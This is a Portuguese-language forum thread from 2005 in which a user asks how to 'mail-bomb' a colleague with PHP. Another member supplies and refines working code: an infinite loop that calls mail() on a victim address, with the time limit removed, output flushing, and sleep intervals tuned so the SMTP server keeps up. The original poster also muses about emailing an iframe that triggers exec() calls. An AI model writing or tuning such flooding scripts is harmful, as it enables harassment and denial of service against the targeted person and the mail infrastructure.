fpe 0 Denunciar post Postado Abril 2, 2005 Galera, Neste fds eu tentei pegar um colega meu rodando um script assim: EX: PHP [*]<?php [*] [*]$cont = 0; [*] [*]while ($cont == 20) { [*]mail('email-vitima@teste.com.br', 'mail-bomb', 'mailbomb'); [*]$cont++; [*] [*]} [*] [*]?> vcs sabem me dizer se posso fazer algo assim ou se há alguma restrição, pois eu fiz la em casa e dava erro, parece que esgotava o tempo limite. podemos até fzr um while infinito e superlotar a caixa postal do email citado?? ou até mesmo mandar um código HTML com um <iframe></iframe> apontando para uma página de while infinitos com comandos de execução dee programas com a função exec(); algo q quando o cara abra o e-mail não de nem pra ele deleta-lo, se for no outlook então.. auhauahuhauhauah ps: Não uso a linguagem para este tipo de coisa más neste caso eu tentei explorar esta funcionalidade da função... ok até mais galera fpe .) Compartilhar este post Link para o post Compartilhar em outros sites
Butensal 0 Denunciar post Postado Abril 2, 2005 Para mudar o tempo limite: set_time_limit(0); // para deixar infinito http://br.php.net/manual/pt_BR/function.set-time-limit.php Loop infinito while (1) { mail('email-vitima@teste.com.br', 'mail-bomb', 'mailbomb'); } Bote um Sleep pra não sobrecarregar o servidor sleep(1); // Pausa o script por um segundo http://br.php.net/manual/pt_BR/function.sleep.php ficaria assim: while (1) { mail('email-vitima@teste.com.br', 'mail-bomb', 'mailbomb'); sleep(1); } caso dê algum erro use assim, com as descargas... PHP [*]set_time_limit(0); [*]while (1) { [*]mail('email-vitima@teste.com.br', 'mail-bomb', 'mailbomb'); [*]sleep(1); [*]flush() ; [*]ob_flush() ; [*] } Assim, ele mandaria um email de segundo em segundo, infinitamente. Compartilhar este post Link para o post Compartilhar em outros sites
fpe 0 Denunciar post Postado Abril 3, 2005 cara eu fiz este código q tu falou mais estas acontece eh que ele fica mandando email direto..... sem mesmo eu rodar o script...como você fez isto cara??# flush() ; # ob_flush() auihaiuahoiuhé utilizando estas funções né? pode me explicar como funciona?obrigado!!fpe :) ee pode me dizer como paro isto??? eu ja mudei o código.. mais parece q ficou gravado no PHP mesmo..Como eu faço pra ele parar de enviar ?? Compartilhar este post Link para o post Compartilhar em outros sites
Butensal 0 Denunciar post Postado Abril 3, 2005 kra..dai ele num para...pra você parar, eh soh da um STOP no navegador, ou fechar a janela, sobre os flushs melhor que eu explicar, eh você ver no manual... Flush: http://br.php.net/manual/pt_BR/function.flush.php ob_flush: http://br.php.net/manual/pt_BR/function.ob-flush.php mas se você quiser um numero certo de emails, tipo 15... faz um PHP [*]for($i=1; $i<=15; $i++) nolugar do while(1) Compartilhar este post Link para o post Compartilhar em outros sites
fpe 0 Denunciar post Postado Abril 3, 2005 cara mais foi o q eu disse...os emails continuaram a ser enviados mesmo sem eu rodar os scripts.ahh não ser que foi o seguinte:o Script ficou rodando por durante uns 2 minutos, sendo assim ele iria gerar + ou - 180 emails, o meu seridor SMTP não consegue acompanhar o script. se você tah falando q o flush() não fez isto ....oq pode ter acontecido é que este tempo que eu fiquei com o script rodando gerou uma "fila" no meu servidor... e depois disto, mesmo eu ter fechado o navegador.. ele continou enviando em decorrencia daqueles 2 minutos que eu fiquei no loop infinito...me corrija se eu estiver errado.abraçosfpe Compartilhar este post Link para o post Compartilhar em outros sites
Butensal 0 Denunciar post Postado Abril 3, 2005 então aumenta o sleep(1) , para um slepp(5)... acho que ai o servidor acompanha, se continua sobrecarregado, aumenta pra 10 Compartilhar este post Link para o post Compartilhar em outros sites